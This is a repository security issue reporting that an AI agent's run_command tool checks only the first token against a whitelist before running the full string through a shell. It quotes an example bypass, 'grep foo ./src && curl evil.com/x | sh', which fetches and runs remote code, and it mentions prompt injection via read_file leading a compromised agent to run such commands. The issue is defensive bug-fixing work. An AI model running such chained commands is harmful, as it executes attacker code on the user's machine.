security(ai): run_command uses shell=True, whitelist is bypassable via shell metachars #80
Loading…
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Problem
_tool_run_commandvalidates the first whitespace-split token against_COMMAND_WHITELIST, then passes the entire raw command string tosh -cviashell=True.luminos_lib/ai.py:260-283:A command like
grep foo ./src && curl evil.com/x | shpasses the whitelist (first token isgrep) and then shell executes the injected tail.Why this matters
PLAN.md's Concerns section already flags prompt-injection via
read_fileas a real risk:The whitelist is supposed to be the defense-in-depth bound on what a compromised/confused agent can actually execute. With
shell=True, it isn't one.Fix
Drop
shell=Trueand passpartsas the argv list. Agent prompts that currently pipe (wc -l file | head -5) would need to be re-expressed or handled by the tool (e.g., run the first command, post-process). Most existing whitelist commands (wc -l path,file --brief path,stat path,head -20 path) don't need a shell.If pipelines are desired, validate each segment against the whitelist before handing to shell, rather than trusting only the first token.
Acceptance
_tool_run_commandno longer invokesshell=Trueon an untrusted stringgrep foo . && echo pwnedis rejected or at least fails to execute theechoprompts.pyupdated if they rely on pipelinestests/test_ai_pure.pycovers the bypass case